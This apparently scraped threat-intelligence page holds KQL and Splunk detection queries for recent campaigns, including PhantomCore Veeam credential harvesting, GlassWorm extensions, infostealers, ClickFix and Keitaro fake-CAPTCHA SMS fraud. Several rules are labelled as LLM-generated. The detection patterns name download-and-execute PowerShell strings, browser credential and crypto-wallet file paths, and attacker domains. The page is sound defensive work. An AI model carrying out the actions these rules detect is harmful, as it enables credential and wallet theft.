| where (InitiatingProcessFolderPath has "\\TrueConf"
or InitiatingProcessFileName in~ ("vcs.exe","trueconf_server.exe","TrueConfServer.exe","php-cgi.exe"))
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","rundll32.exe","net.exe","net1.exe","whoami.exe","systeminfo.exe","nltest.exe","ipconfig.exe","reg.exe","sc.exe","php.exe","php-cgi.exe","certutil.exe","curl.exe")
| project Timestamp, DeviceName, InitiatingProcessFolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName ),
( DeviceFileEvents
| where FolderPath has "\\TrueConf"
| where FileName endswith ".php" or FileName endswith ".aspx" or FileName endswith ".jsp"
| where ActionType in~ ("FileCreated","FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine )
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_path) as process_path from datamodel=Endpoint.Processes where (Processes.parent_process_path="*\\TrueConf*" OR Processes.parent_process_name IN ("vcs.exe","trueconf_server.exe","TrueConfServer.exe","php-cgi.exe")) AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","rundll32.exe","net.exe","net1.exe","whoami.exe","systeminfo.exe","ipconfig.exe","nltest.exe","reg.exe","sc.exe","php.exe","php-cgi.exe","certutil.exe","curl.exe") by host Processes.parent_process_name Processes.parent_process_path Processes.process_name Processes.process Processes.user | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\TrueConf*" Filesystem.file_name IN ("*.php","*.aspx","*.jsp") by Filesystem.dest Filesystem.file_name Filesystem.file_path Filesystem.process_name | `drop_dm_object_name(Filesystem)`]
[LLM] PhantomCore Veeam-Get-Creds PowerShell credential harvestingActions on ObjectivesHigh
Detects PhantomCore's modified Veeam-Get-Creds PowerShell script being executed against Veeam Backup & Replication infrastructure to recover stored credentials. Targets the named tool itself plus the underlying Veeam DPAPI / SQL credential paths it touches.
Rationale: Positive Technologies explicitly names 'Veeam-Get-Creds' as a PhantomCore tool used post-compromise; the script and its derivative cmdlet name are extremely low-baseline strings, and the secondary clause catches lightly-renamed forks by their characteristic Veeam credential-decryption code paths (DPAPI Unprotect + Invoke-Sqlcmd against VeeamBackup). Combined with PowerShell ScriptBlock logging this is high fidelity.
Cross-checked against:
• https://securelist.com/head-mare-hacktivists/113555/
• https://malpedia.caad.fkie.fraunhofer.de/actor/head_mare
• https://cyble.com/blog/head-mare-deploys-phantomcore-against-russia/
ATT&CKT1003T1555T1059.001
Data sourcesEndpoint.Processes
union
( DeviceProcessEvents
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine has_any ("Veeam-Get-Creds","Get-VeeamCreds")
or (ProcessCommandLine has "VeeamBackup" and ProcessCommandLine has "Credentials" and ProcessCommandLine has_any ("Unprotect","ProtectedData","Invoke-Sqlcmd"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine ),
( DeviceEvents
| where ActionType == "PowerShellCommand"
| extend script = tostring(parse_json(AdditionalFields).Command)
| where script has_any ("Veeam-Get-Creds","Get-VeeamCreds")
or (script has "VeeamBackup" and script has "Credentials" and script has_any ("Unprotect","ProtectedData","Invoke-Sqlcmd"))
| project Timestamp, DeviceName, AccountName, script, InitiatingProcessFileName, InitiatingProcessCommandLine )
`powershell` EventCode=4104 (ScriptBlockText="*Veeam-Get-Creds*" OR ScriptBlockText="*Get-VeeamCreds*" OR (ScriptBlockText="*VeeamBackup*" AND ScriptBlockText="*Credentials*" AND (ScriptBlockText="*ProtectedStorage*" OR ScriptBlockText="*Unprotect*" OR ScriptBlockText="*[System.Security.Cryptography.ProtectedData]*")) OR (ScriptBlockText="*VeeamBackup*" AND ScriptBlockText="*Credentials*" AND ScriptBlockText="*password*" AND ScriptBlockText="*Invoke-Sqlcmd*")) | stats min(_time) as firstTime max(_time) as lastTime values(ScriptBlockText) as script values(UserID) as user count by host
| append [ | tstats `summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name IN ("powershell.exe","pwsh.exe") (Processes.process="*Veeam-Get-Creds*" OR Processes.process="*Get-VeeamCreds*") by host Processes.process Processes.parent_process_name Processes.user | `drop_dm_object_name(Processes)`]
2026-04-275 use cases6 techniques6 kill-chain phases detected
Cybersecurity researchers have flagged dozens of Microsoft Visual Studio Code (VS Code) extensions on the Open VSX repository that are linked to a persistent information-stealing campaign dubbed GlassWorm. The cluster of 73 extensions has been identified as cloned versions of their legitimate counterparts. Of these, six have been confirmed to be malicious, with the remaining acting as seemingly
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1027T1176T1190T1195.002T1204.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2711 use cases5 techniques6 kill-chain phases detected
Cybersecurity researchers have disclosed details of a telecommunications fraud campaign that uses fake CAPTCHA verification tricks to dupe unsuspecting users into sending international text messages that incur charges on their mobile bills, generating illicit revenue for the threat actors who lease the phone numbers. According to a new report published by Infoblox, the operation is believed to
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1204.004T1566
Click any ATT&CK pill below to open it on the Matrix
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Keitaro IRSF fake-CAPTCHA landing-page domain contact (Infoblox cluster)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] IRSF Click2SMS tracker endpoint /makeTrackerDownload.php?a=WEBSMS
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Crypto-wallet file/keystore access by non-wallet process
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Hunts corporate hosts contacting the specific Keitaro TDS hops and fake-CAPTCHA landing domains tied to the Infoblox-disclosed International Revenue Share Fraud (IRSF) operation. These FQDNs are not generic Keitaro infrastructure — they are the specific 'd.*' / 'r.*' IRSF landing prefixes plus crypto-drainer content sites Infoblox attributed to the cluster.
Rationale: All FQDNs are taken verbatim from Infoblox's published IOC list for this exact IRSF/Keitaro campaign (e.g. d.ruelomamuy.com, r.buffalosolpe.top, colnsdital.com, megaplaylive.com). Cross-checked the Infoblox blog vs. The Hacker News summary — IOCs only appear in Infoblox's writeup, so this is article-specific and low-FP.
Cross-checked against:
• https://www.infoblox.com/blog/threat-intelligence/hold-the-phone-international-revenue-share-fraud-driven-by-fake-captchas/
• https://thehackernews.com/2026/04/fake-captcha-irsf-scam-and-120-keitaro.html
• https://the420.in/fake-captcha-keitaro-tds-international-sms-fraud-cybercrime/
ATT&CKT1583.008T1189T1566.002
Data sourcesNetwork_Resolution.DNSWeb.Web
let irsf_domains = dynamic(["ruelomamuy.com","fufecarrol.top","herbosfinx.com","marraheltin.com","panzozerrot.com","remotesbuffalo.top","santafebuno.top","vistertransit.com","zerrotmamil.com","buffalosolpe.top","carrolvassin.top","transitcaxip.com","colnsdital.com","sweeffg.online","zawsterris.com","megaplaylive.com","matchnewtoday.com","chatorizon.com","claimandwins.com","4lifetips.com","verifysuper.com"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (irsf_domains) or tostring(parse_url(RemoteUrl).Host) has_any (irsf_domains)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, ActionType
| join kind=leftouter (DeviceEvents | where ActionType == "BrowserLaunchedToOpenUrl" | project Timestamp, DeviceId, BrowserUrl=RemoteUrl) on DeviceId
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(DNS.answer) as answer values(DNS.query) as query from datamodel=Network_Resolution where DNS.query IN ("*ruelomamuy.com","*fufecarrol.top","*herbosfinx.com","*marraheltin.com","*panzozerrot.com","*remotesbuffalo.top","*santafebuno.top","*vistertransit.com","*zerrotmamil.com","*buffalosolpe.top","*carrolvassin.top","*transitcaxip.com","*colnsdital.com","*sweeffg.online","*zawsterris.com","*megaplaylive.com","*matchnewtoday.com","*chatorizon.com","*claimandwins.com","*4lifetips.com","*verifysuper.com") by DNS.src host | `drop_dm_object_name(DNS)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Detects HTTP/S requests to the Keitaro IRSF backend tracker endpoint that drives the Click2SMS abuse. The combination of the path /makeTrackerDownload.php with the parameter a=WEBSMS plus origSms/groupds/caf is unique to this fraud kit per Infoblox and should not appear in normal browsing.
Rationale: The path /makeTrackerDownload.php and the parameter set (a=WEBSMS, origSms, groupds, caf, clientId=254, productId=2001, publisher_id=23188) are the distinctive backend-tracker fingerprint Infoblox documented for this Click2SMS / IRSF kit. Hunting on the path + ≥1 of those params eliminates any chance of overlap with legitimate Keitaro affiliate traffic.
Cross-checked against:
• https://www.infoblox.com/blog/threat-intelligence/hold-the-phone-international-revenue-share-fraud-driven-by-fake-captchas/
• https://thehackernews.com/2026/04/fake-captcha-irsf-scam-and-120-keitaro.html
ATT&CKT1071.001T1102
Data sourcesWeb.WebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "makeTrackerDownload.php"
| where RemoteUrl has_any ("a=WEBSMS","productId=2001","clientId=254","groupds=166","publisher_id=23188","origSms=","contentType=sexy")
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessParentFileName, RemoteUrl, RemoteIP, RemotePort
| join kind=leftouter (
DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl"
| project LaunchTime=Timestamp, DeviceId, RefererUrl=RemoteUrl
) on DeviceId
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_user_agent) as ua values(Web.dest) as dest from datamodel=Web where Web.url="*makeTrackerDownload.php*" AND (Web.url="*a=WEBSMS*" OR Web.url="*origSms=*" OR Web.url="*productId=2001*" OR Web.url="*clientId=254*" OR Web.url="*groupds=166*" OR Web.url="*publisher_id=23188*") by Web.src Web.user | `drop_dm_object_name(Web)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-258 use cases3 techniques6 kill-chain phases detected
Cybersecurity researchers have discovered a new Lua-based malware created years before the notorious Stuxnet worm that aimed to sabotage Iran's nuclear program by destroying uranium enrichment centrifuges. According to a new report published by SentinelOne, the previously undocumented cyber sabotage framework dates back to 2005, primarily targeting high-precision calculation software to tamper
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
